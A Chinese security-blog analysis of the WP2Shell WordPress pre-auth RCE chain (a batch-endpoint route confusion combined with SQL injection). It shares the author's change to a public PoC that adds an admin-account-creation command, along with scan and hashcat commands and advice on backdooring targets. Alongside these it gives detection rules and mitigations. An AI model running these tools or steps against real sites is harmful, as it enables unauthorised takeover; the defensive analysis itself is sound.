WP2Shell:WordPress 预认证 RCE 连环洞的技术拆解
漏洞分析
WordPress 预认证 RCE 连环洞的技术拆解以及对于公开poc的改进思路分享
前言 -- 2026 年 7 月 17 日,WordPress 发布安全更新 7.0.2。按说安全更新每周都有,没什么好大惊小怪的。 但这次不一样。 当天下午 PatchStack 就报告了野外利用。Cloudflare 在 17:03 UTC 紧急部署了 WAF 规则——不是"建议开启",是所有用户自动生效。WordPress 官方启动强制自动更新。六个独立 PoC 在同一天内放出。Rapid7 和 VulnCheck 的分析文章几乎是追着补丁发的。 这套漏洞链被起了个名字,叫 **WP2Shell**。 名字很直白:从 WordPress 到 getshell。而且是预认证的——不需要账号,不需要登录,一个 HTTP 请求就能开始。 下面拆一下这两个 CVE 到底是怎么回事,并讲讲我对此的理解以及我对poc加入的新东西。 一、谁在裸奔:影响范围 ----------- ### 影响版本  | 范围 | 版本 | 可被利用程度 | |---|---|---| | 完整链(未授权 RCE) | 6.9.0 - 6.9.4, 7.0.0 - 7.0.1 | 直接打穿 | | 仅 SQLi | 6.8.0 - 6.8.5 | 需要辅助插件/主题交互 | | 不受影响 | < 6.8 | 代码路径不存在 | ### 利用条件 - REST API 可达(默认开启) - **没有使用持久化对象缓存**(Redis、Memcached 会阻断漏洞代码路径) - 站点至少有一篇已发布文章 - 无需认证。无需用户交互。无需特殊配置。 二、CVE-2026-60137:一个少写一对括号引发的 SQL 注入 ----------------------------------- 先说第一个洞。这个 SQL 注入本身不是预认证的——它需要认证才能触发。但它的存在是整个攻击链的起点,也是第二个漏洞能变成 RCE 的基础。 问题出在 `WP_Query::get_posts()` 里对 `author__not_in` 参数的处理。 看代码: ```php // wp-includes/class-wp-query.php, 大约 2404 行 if ( ! empty( $q['author__not_in'] ) ) { if ( is_array( $q['author__not_in'] ) ) { $author__not_in = implode( ',', array_map( 'absint', $q['author__not_in'] ) ); } else { $author__not_in = implode( ',', array_map( 'absint', array( $q['author__not_in'] ) ) ); } $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})"; } ``` `author__not_in` 预期是一个数组,但如果传入的是一个字符串,`is_array()` 返回 false,它会走到 else 分支,把字符串包成数组然后 `implode`。两行之后,"implode" 的结果被直接拼进了 SQL 查询: ```php $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})"; ``` 没预处理、没参数化、没转义。字符串直接拼接进 SQL。 这就是 CVE-2026-60137。一个典型的参数类型假设失效导致的 SQL 注入。 不过说实话,这个漏洞在自己的语境下有一个限制:**单独看它,需要认证才能触发。** 普通访客碰不到 `author__not_in` 参数的传递路径。需要某个插件或主题把这个参数暴露给未认证用户,或者——靠第二个洞来"借路"。 这个"借路"就是 CVE-2026-63030。 三、CVE-2026-63030:batch 端点的"身份混战" -------------------------------- WordPress 的 REST API 有一个 batch 端点,就是 `POST /batch/v1`,允许客户端一次提交多个子请求。这个功能是 6.9.0 引入的。 整个漏洞的核心就是四个字:**索引错位**。 ### batch 端点的处理逻辑 当你向 `/batch/v1` 提交一组子请求时,WordPress 内部要干这些事: 1. 把每个子请求的路由匹配注册到对应的 handler 2. 逐个验证每个子请求是否有权限访问它匹配到的路由 3. 逐个执行通过验证的子请求 问题出在第 2 步和第 3 步之间。 WordPress 在处理 batch 时会维护两个列表: - `$validation[]` — 所有子请求的验证结果,包括 `WP_Error` - `$matches[]` — 通过路由匹配的子请求 handler 映射 关键 Bug 在这里:**当一个子请求产生 `WP_Error` 时,它被推入 `$validation[]`,但在 `$matches[]` 中它占的坑被跳过了。** 导致的结果是: ```php 预期状态: $validation[0] = request[0] 的验证结果 → $matches[0] 处理 request[0] $validation[1] = request[1] 的验证结果 → $matches[1] 处理 request[1] $validation[2] = request[2] 的验证结果 → $matches[2] 处理 request[2] 实际状态(WP_Error 出现后): $validation[0] = WP_Error ← 被推入 $matches[0] = request[1] 的 handler ← request[0] 被跳过 $validation[1] = request[1] 的验证结果 ← 但被当作 $matches[0] 处理 $matches[1] = request[2] 的 handler $validation[2] = request[2] 的验证结果 ← 但被当作 $matches[1] 处理 $matches[2] = 无对应 ← request[2] 的 handler 已经错位了 ``` 简单说:**请求 A 用请求 B 的权限通过了验证。**  ### 具体怎么触发 攻击者构造三个子请求: | 索引 | 请求内容 | 作用 | |---|---|---| | \[0\] | `///`(非法路径) | 产生 WP\_Error,触发索引偏移 | | \[1\] | 正常 POST 到 `/wp/v2/posts` | Carrier,被验证为合法 posts 创建请求 | | \[2\] | `POST /batch/v1` | 内层 batch,它的 handler 会被"借"给请求 \[1\] | 当索引错位发生后,请求 \[1\] 的表面身份是"创建文章",但实际获得的 handler 是"执行内层 batch"。而内层 batch 可以进一步利用路由混淆来调用需要管理员权限的接口。 ### 检测是否可被利用 有一个非破坏性的检测方式:当路由混淆成功时,`POST /wp/v2/posts` 会被 block-renderer 的权限校验拦下,返回 `"block_cannot_read"`。这本身不是漏洞利用,但说明索引偏移发生了——攻击链路已经打通。  至此,认证的门被绕过了。SQL 注入从"需要认证"变成了"谁都可以打"。 四、完整攻击链:从匿名到拿 shell -------------------  有了路由混淆的"身份借位"和 author\_\_not\_in 的 SQL 注入,完整攻击链是这样的: ### 步骤 1:路由混淆解除认证限制 通过 batch 端点的索引错位,把一个需要管理员权限的操作和当前未认证的 session 绑定。这一步不直接产生破坏,但打开了后续攻击的通道。 说白了:你精心设计了一个安全检查机制,结果检查员把别人的身份证当成了你的。 ### 步骤 2:利用 SQLi 控制数据库 在路由混淆的保护伞下,触发 `author__not_in` 的 SQL 注入。这时攻击者可以在数据库上执行任意 SQL。 这一步能做的事很多: - 枚举表结构和数据 - 窃取用户密码哈希 - 注入恶意数据 `wp_users.user_pass` 的哈希格式是 `$wp$2y$...`——这是 bcrypt over HMAC-SHA384。hashcat 模式 `-m 35500`。离线破解说难不难,说容易也不容易。 不过完整攻击链里有一个更优雅的路径——不需要破解密码。 ### 步骤 3:UNION 注入伪造 WP\_Post 利用 SQL 注入中的 UNION SELECT,攻击者在数据库层面伪造了一个 `WP_Post` 对象。关键技巧: ```sql SELECT 1, 'shell', 'publish', ... UNION SELECT ... ``` 通过设置 `orderby=none` 去除掉自动追加的 ORDER BY 子句,让 UNION SELECT 的结果被 WordPress 判定为一篇合法的文章。 ### 步骤 4:通过 post 类型桥接借用管理员身份 WordPress 里有几种特殊的 post 类型,它们的默认权限校验比较宽松: - `oembed_cache` — oEmbed 缓存 - `customize_changeset` — 定制器变更集 - `nav_menu_item` — 导航菜单项目 攻击者把伪造的 `WP_Post` 的类型设成上述之一,利用它们的权限回调来"借用"一个已有的管理员 session 上下文。 具体的机制是:WordPress 在处理 `customize_changeset` 时,会把当前用户临时提升为 post 的作者——如果这个 post 在数据库中有一个已存在的管理员关联。结合路由混淆的认证绕过,攻击者可以在不持有管理员凭证的情况下"假装"自己是管理员。 这步走通之后,攻击者的请求被 WordPress 内部标记为"已认证的管理员操作"。 ### 步骤 5:创建管理员账号 + RCE 借用管理员上下文之后,攻击者向 `/wp/v2/users` 发送请求创建新管理员: ```php POST /wp/v2/users Body: {"roles": ["administrator"], ...} ``` 账号创建成功后,下一步就是怎么拿 shell 了。这个 RCE 的实现方式有多个变种,下面会专门讲。 ### 旧路径:离线破解哈希 如果不用上面这套"伪造 + 桥接"的复杂路径,还有一个更粗暴但更慢的办法: 直接 dump `wp_users` 表,拿 `user_pass` 哈希,离线爆破解出明文密码,然后用密码正常登录后台。 哈希格式是 `$wp$2y$...`,实际是 bcrypt with cost 10,但 WordPress 在存储前用 HMAC-SHA384 做了额外的包装。hashcat 已经支持: ```php hashcat -m 35500 hash.txt wordlist.txt ``` 这条路径慢,但胜在没那么多花活。而且如果目标的管理员密码设得弱,比"伪造 + 桥接"更稳(但是经过我的测试发现基本上hash都解不出来,而且如果用的报错注入的方式,hash爆的速度还挺慢) 五、PoC 工具对比与增强 ------------- ### 两个主流 PoC 的差异 补丁公开当天就冒出了至少六个独立 PoC。用得最多的两个是 **0xsha/wp2shell** 和 **Icex0/wp2shell-poc**,文末附有链接 虽然底层利用的漏洞完全一样,但两个工具的设计取向不同。 | 维度 | 0xsha/wp2shell | Icex0/wp2shell-poc | |---|---|---| | SQLi 提取 | boolean 差分 + 时间盲注 | union 直接读 + error + boolean 盲注(自动切换,最快) | | RCE 链 | crack-free 五步 | crack-free 六步(本质相同) | | 批量扫描 | 有 `scan` 命令 | `check` 命令直接支持 URL 文件和单 URL | | 版本覆盖 | 6.8.x sqli 单独支持 + 6.9-7.0 完整链 | 6.9-7.0 完整链 | | 安装方式 | 单文件 | 单文件 + module 目录,也支持 `pip install .` | | 测试验证 | 有兼容性矩阵 | 未标注测试矩阵 | | 依赖 | Python 3.7+ 纯标准库 | Python 3.8+ 纯标准库 | 0xsha 的优势在工程化程度高(批量扫描、Docker 测试环境、一条龙利用)。Icex0 的长处在数据提取阶段(union 一次请求一个值,比纯盲注快得多)。 如果只用做漏洞验证,两个都行。但如果要实际打进去,一个稳妥的搭配是主力用 0xsha,碰上数据提取慢的场景切 Icex0 的 union 模式加速。 ### 对 Icex0 PoC 的针对性增强 原版 PoC 在拿到管理员权限后只有一个选择:上传插件 webshell。但实际渗透中,这条路不一定走得通——插件上传功能可能被 WAF 拦截、`update.php` 可能被安全插件禁用。原版 `shell` 命令强制走完创建 → 登录 → 上传 webshell → 清理的全流程,没有中途停下来的选项。 所以我给 Icex0 的 PoC 加了一个 `admin` 命令。它的作用只有一件事:**通过预认证的 SQLi 桥接创建管理员账号,输出密码,然后结束。** 不登录、不上传插件、不留后门。 为什么只干这一件事?因为我发现很多场景下你已经不需要 PoC 帮你做 RCE 了——你要的只是管理员密码,剩下的交给其他工具或者手动操作。比如拿到密码后你可以: - 登录后台编辑主题文件(绕过插件上传限制) - 修改或者上传文件以达到getshell的目的 - 交给其他团队的渗透工具做后续操作 把 PoC 的职责边界停在"输出凭证"这步,反而让它的适用面变广了。 #### 代码改了哪些地方 修改量很小,但涉及三个文件。下面一个一个说。 **第一处:`wp2shell/cli.py` —— 注册 admin 子命令** 在 `build_parser()` 函数里,原代码注册了 `check`、`read`、`shell` 三个子命令。我在 `shell` 后面追加了一个 `admin` 子命令: ```python # wp2shell/cli.py, build_parser() 函数内 # 原代码——只有 shell shell = sub.add_parser("shell", ...) # ... shell 的参数定义 ... shell.set_defaults(func=cmd_shell) # 新增代码——admin 子命令 admin = sub.add_parser( "admin", help="create an administrator through the pre-auth SQLi bridge (no webshell by default)", ) _add_common(admin) # 复用 url/timeout/proxy 参数 admin.set_defaults(func=cmd_admin) ``` 就这几行。 它的设计原则是:**只输出凭证,不提供任何附加行为。** 哪怕输出了密码后你想登录、想注入 webshell、想干别的——那是你的事,不是这个命令的事。 **第二处:`wp2shell/cli.py` —— cmd\_admin 函数的实现** 这是核心逻辑。`cmd_admin` 调用 `PreAuthAdminCreator` 走原版 SQLi 桥接,创建管理员后格式化输出: ```python # wp2shell/cli.py,新增函数 def cmd_admin(args: argparse.Namespace) -> int: """Pre-auth admin creation only — outputs credentials, exits.""" warn("Creating administrator through the pre-auth SQLi bridge...") # PreAuthAdminCreator 是原版 PoC 已有的类,不需要改 creator = PreAuthAdminCreator( args.url, timeout=args.timeout, proxy=args.proxy, ) created = creator.create_admin() # 输出凭证 print() good(f"Administrator created successfully!") print(f" URL: {args.url}") print(f" Username: {created.username}") print(f" Password: {created.password}") print(f" Email: {created.email}") print() info("The generated admin account has NOT been removed from the target.") info("Delete it manually after use: wp user delete <username> --reassign=<admin_id>") return 0 ``` 整个函数不到 20 行。核心就三步:创建管理员 → 输出密码 → 退出。 对比一下原版 `shell` 命令的流程: ```php 原版 shell 命令: create_admin() → login() → deploy_webshell() → run_cmd() → cleanup_webshell() → delete_admin() 新增 admin 命令: create_admin() → print_credentials() ← 停在这里 ``` 能看到区别。原版是一条龙服务,但一旦某个环节断了(比如上传插件被拦截),整条链就废了。`admin` 命令只做第一步,后面你自己走,这样就不会错过shell啦 **第三处:`wp2shell/cli.py` —— 在 build\_parser 的顶部注册 func** 不变不行。命令注册后还需要在 argparse 的 `set_defaults(func=...)` 里绑定入口函数。上面已经有了。 #### 具体怎么跑 ```bash # 跑 admin 命令 python wp2shell.py admin http://target.com ``` 输出示例: ```php [!] Creating administrator through the pre-auth SQLi bridge... [+] Administrator created successfully! URL: http://target.com Username: wp2_3a1f9b Password: Wp2!8xKz2pQmR7vL9wN4s Email: wp2_3a1f9b@wp2shell.invalid [*] The generated admin account has NOT been removed from the target. [*] Delete it manually after use: wp user delete <username> --reassign=<admin_id> ``` 拿到密码后,接下来的操作跟这个 PoC 无关了——用浏览器登录后台、编辑模板、手动部署后门,随便。 #### 修改的核心逻辑 这个改动的本质是:**把"创建管理员"和"利用管理员权限做 RCE"解耦。** 原版 PoC 把这两件事绑在一起,认为"创建了管理员 → 自然要上传插件 → 自然要清理现场"。这个假设在实验室环境里成立,但在真实渗透中不一定——目标可能限制了插件上传,但你仍然可以在后台做其他操作。 `admin` 命令只关心"能不能拿下管理员权限",至于拿下来之后怎么用——那是操作者的事,不是工具的事。这种设计对渗透工具来说其实更合理:工具负责打通通道,操作者根据现场情况决定下一步。 修改后的完整代码打包在文末附件里。 六、检测与防御 ------- ### 快速自查 用 curl 检查你的 WordPress 是否受影响: ```bash # 检查当前版本 curl -s "https://your-site.com/wp-json/" | jq '.version' # 非破坏性检测:检查 batch 路由混淆是否可用 curl -s -X POST "https://your-site.com/wp-json/batch/v1" \ -H "Content-Type: application/json" \ -d '{"requests":[{"path":"///"},{"path":"/wp/v2/posts","method":"POST"},{"path":"/batch/v1","method":"POST"}]}' \ | grep -q "block_cannot_read" && echo "VULNERABLE: Route confusion detected" ``` 如果返回 `"block_cannot_read"`,说明路由混淆可以触发——你的站点处于暴露状态。 ### 用 PoC 批量检测 如果你有 Icex0 的 PoC,`check` 命令可以直接扫一个目标列表: ```bash # 准备目标列表,每行一个 URL cat targets.txt http://target1.com http://target2.com # 批量扫 python wp2shell.py check targets.txt ``` PoC 会逐个检查路由混淆是否可触发,并在最后汇总结果: ```php [*] Scanning 2 targets from targets.txt [*] [1/2] http://target1.com [+] VULNERABLE — batch route-confusion behavior detected. [*] [2/2] http://target2.com [-] Route-confusion marker pattern not detected. [*] Scan complete: 1/2 vulnerable. ``` 整个过程不发 SQLi payload、不改数据。如果想确认 SQL 注入是否真正可用,加 `--confirm-sqli`: ```bash python wp2shell.py check targets.txt --confirm-sqli ``` ### Cloudflare WAF 规则 Cloudflare 所有用户(包括免费版)已经自动获得保护。规则以 **Block** 为默认动作。 但 Cloudflare 自己说了:**WAF 规则不修复底层漏洞代码。** 这只是补丁上线前的缓冲措施。 ### 检测规则:Semgrep 如果你在用 Semgrep 做代码审计,可以加以下规则来发现类似的安全拼接问题: ```yaml # semgrep-rule.yml rules: - id: wp-query-sqli-author-not-in patterns: - pattern: | $WHERE .= "... NOT IN ({$IMPLODED})..." - metavariable-regex: metavariable: $IMPLODED regex: (.*implode.*\$q\[.*\].*) message: "Potential SQL injection via author__not_in style pattern" languages: [php] severity: ERROR ``` ### 检测规则:Suricata/Snort IDS ```bash alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS ( msg:"CVE-2026-63030 - WordPress REST API Batch Route Confusion Attempt"; content:"POST"; http_method; content:"/batch/v1"; http_uri; content:"\"path\":\"///\""; within:100; content:"requests"; nocase; classtype:web-application-attack; sid:10000001; rev:1; ) ``` ### 检测规则:SIEM 查询 ```spl # Splunk - 检测 WordPress batch 路由混淆尝试 index=web_logs sourcetype=access_combined uri="/wp-json/batch/v1" method="POST" body=*///* body=*requests* | stats count by src_ip, uri, status ``` ### 应急措施 如果暂时无法升级到修复版本: 1. **禁用 REST API batch 端点**(6.9+ 才受影响): ```php add_filter('rest_allow_batch', '__return_false'); ``` 2. **部署虚拟补丁**:在 Nginx/Apache 层面拦截 `/batch/v1` 的请求: ```nginx location ~* /wp-json/batch/v1 { deny all; return 403; } ``` 3. **检查已被入侵的痕迹**: ```bash # 查找近期创建的管理员账号 wp user list --role=administrator --field=user_registered # 查找可疑的 wp2_ 前缀用户(PoC 默认前缀) wp user list | grep "wp2_" # 检查主题文件是否被篡改(重点 functions.php) md5sum wp-content/themes/*/functions.php | grep -v "$(md5sum /path/to/original/functions.php)" # 查找插件 webshell(最近修改的 PHP 文件) find wp-content/ -name "*.php" -newer wp-config.php -type f ``` 七、总结 ---- WP2Shell 这个漏洞链说复杂确实复杂——batch 路由混淆的概念不太直观,伪造 WP\_Post 的路径也够绕。但你说它巧妙吗?确实巧妙。 一套组合拳:一个 typeless 检查少写的一层约束 + 一个 batch 处理的数组索引去同步,凑在一起就变成了一个无需认证就能 getshell 的漏洞链。 这给了我们几个启示: 第一个,**参数类型验证永远不能信 input 告诉你它是什么。** PHP 尤其如此——字符串、数组、空值之间的隐式转换可以玩出太多花样。is\_array() + implode() + SQL 拼接——任何一个工程师在 review 时可能觉得"没什么问题"——但组合起来就是 SQL 注入。 第二个,**batch 这种东西永远是逻辑安全的噩梦。** 任何批量操作的"共享上下文"设计都需要特别小心。索引错位、权限混用、状态污染——这些在单请求模型中不会遇到的问题,batch 模型里全来了。GraphQL 的 batched resolver、REST 的 batch endpoint、RPC 的批量调用——都踩过同样的坑。 第三个,**补丁公开 = 漏洞可用,在 AI 时代这之间的时间差已经趋近于零。** 以前"补丁天窗"(patch gap)是按小时算的——安全团队有几个小时甚至一两天的窗口来部署更新。现在这个窗口可能缩小到分钟级。自动更新不是一个可选项,是唯一的路。 至于 PoC 工具的选择——公开的六个 PoC 底层利用路径一样,但 RCE 实现各有不同。如果插件上传被拦截,试试走主题编辑器路径。不同的 RCE 实现在不同目标上的成功率差异很大,死板地只试一条路容易撞墙。 ### 修复建议 **如果你是 WordPress 6.8+ 的用户,马上升级到 7.0.2 或 6.9.5。不要等。**
发表于 2026-07-23 09:37:00
阅读 ( 2384 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
zee
3 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!